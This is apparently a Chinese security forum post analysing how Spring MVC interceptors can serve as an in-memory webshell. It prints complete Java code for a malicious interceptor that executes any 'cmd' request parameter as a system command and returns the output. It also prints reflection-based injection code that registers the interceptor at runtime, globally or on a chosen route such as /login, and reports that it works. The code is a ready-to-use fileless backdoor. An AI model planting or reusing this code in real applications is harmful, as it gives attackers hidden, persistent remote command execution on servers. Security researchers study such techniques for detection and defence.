Spring Interceptor 内存马分析

demo

创建如下Intercetor:

package com.example.demo;

import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class MyInterceptor implements HandlerInterceptor {
    public boolean preHandle(HttpServletRequest req, HttpServletResponse res, Object handler) throws Exception {
        if (req.getParameter("cmd") != null) {
            byte[] bytes = new byte[1024];
            Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
            int len = process.getInputStream().read(bytes);
            res.getWriter().write(new String(bytes,0,len));
            process.destroy();
            return false;
        }
        else{
            return true;
        }
    }

    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {

    }

    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {

    }
}

通过WebMvcConfigurer接口来注册Intercetor:

package com.example.demo;

import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new MyInterceptor());
    }
}

启动后,访问任意url即可执行命令。

调试分析

在preHandle方法中下断点,对其进行调试分析:
调用栈如下:

我们注册的MyInterceptor的preHandle方法是在HandlerExecutionChain#applyPreHandle方法中所调用的。

applyPreHandle方法是在DispatcherServlet#doDispatch方法中调用的,mappedHandler中存放了拦截器。

mappedHandler由this.getHandler而来,我们在getHandler中下断点,进行调试分析。
首先获取了mapping,这个mapping是requestMappingHandlerMapping,是一个bean

然后会调用mapping.getHandler方法,其实是调用到AbstractHandlerMapping#getHandler方法。
在该方法中会调用getHandlerExecutionChain方法,跟进。


在getHandlerExecutionChain方法中会变遍历this.adaptedInterceptors的值,如果是MappedInterceptor的话,会判断匹配url是否匹配再加入chain中,否则直接加入chain中。


可以看到this.adaptedInterceptors中存储的就是拦截器,其中由我们注册的MyInterceptor,而另外两个拦截器则是初始化的时候自带的。
遍历完后返回chain,最后就是返回到DispatcherServlet中的mappedHandler


之后就是调用mappedHandler.applyPreHandle,一直到调用到拦截器的preHandle方法。

注入内存马

通过上述分析,我们可以发现:我们注册的拦截器是会被存放在AbstractHandlerMapping的adaptedInterceptors变量中的,adaptedInterceptors是一个数组。


其存放的拦截器最后会被放入到mappedHandler中,从而调用拦截器的preHandle方法。
所以我们注入内存马,可以在adaptedInterceptors中添加一个拦截器。
所以我们需要获得AbstractHandlerMapping对象,要想获得AbstractHandlerMapping对象,其实只要获得requestMappingHandlerMapping bean就行了,而bean可以通过BeanFactory接口的getBean方法来获得。


根据接口的实现关系,只要实现了WebApplicationContext接口的类我们都可以用。


可以用如下代码获取requestMappingHandlerMapping bean

WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
context.getBean("requestMappingHandlerMapping");


从而获得adaptedInterceptors变量,添加拦截器。
注入内存马:

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;

@RestController
public class inject {

    @GetMapping("/inject")
    public void inject(){
        try{
            // 获取context
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
            // 从context中获得 AbstractHandlerMapping 的实例
            AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
            // 反射获取 adaptedInterceptors 字段用于注册拦截器
            Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            List<HandlerInterceptor> adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
            //实例化恶意拦截器并注册
            MyInterceptor m = new MyInterceptor();
            adaptedInterceptors.add(m);
        }catch(Exception e){
            e.printStackTrace();
        }
    }

}

指定注入内存马path

上面所注入内存马,path相当于是/*的,就算访问任何url都可触发。如果只想注入的内存马在path是/aaa时执行,是否有方法。
根据:


满足interceptor instanceof MappedInterceptor这个if条件后,其会对调用MappedInterceptor的matches方法对path进行匹配,如果匹配上了才会加入chain
看下MappedInterceptor的构造函数:


我们可以根据其构造函数来创建MappedInterceptor对象:

MyInterceptor m = new MyInterceptor();
String[] path = new String[]{"/aaa"};
MappedInterceptor mi = new MappedInterceptor(path,null,m);

然后将其添加到adaptedInterceptors中:

import com.example.demo.MyInterceptor;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.support.RequestContextUtils;

import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;

@RestController
public class inject {

    @GetMapping("/inject")
    public void inject(){
        try{
            // 获取context
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
            // 从context中获得 AbstractHandlerMapping 的实例
            AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
            // 反射获取 adaptedInterceptors 字段用于注册拦截器
            Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            List<HandlerInterceptor> adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
            //实例化恶意拦截器并注册
            MyInterceptor m = new MyInterceptor();
            // 创建MappedInterceptor
            String[] path = new String[]{"/aaa"};
            MappedInterceptor mi = new MappedInterceptor(path,null,m);
            adaptedInterceptors.add(mi);
        }catch(Exception e){
            e.printStackTrace();
        }
    }

}

执行注入后,发现访问:http://127.0.0.1:8080/aaa?cmd=whoami并没有执行命令。


调试分析,发现在MappedInterceptor的matches方法中,path为/error


应该是因为/aaa本来就为不存在的路由。


将path改为存在的路由/login


之后再次注入:

import com.example.demo.MyInterceptor;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.support.RequestContextUtils;

import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;

@RestController
public class inject {

    @GetMapping("/inject")
    public void inject(){
        try{
            // 获取context
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
            // 从context中获得 AbstractHandlerMapping 的实例
            AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
            // 反射获取 adaptedInterceptors 字段用于注册拦截器
            Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            List<HandlerInterceptor> adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
            //实例化恶意拦截器并注册
            MyInterceptor m = new MyInterceptor();
            // 创建MappedInterceptor
            String[] path = new String[]{"/login"};
            MappedInterceptor mi = new MappedInterceptor(path,null,m);
            adaptedInterceptors.add(mi);
        }catch(Exception e){
            e.printStackTrace();
        }
    }

}

成功实现。

最后

指定注入内存马path是否还有其它姿势?
本人水平有限,文章出错处请谅解。

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖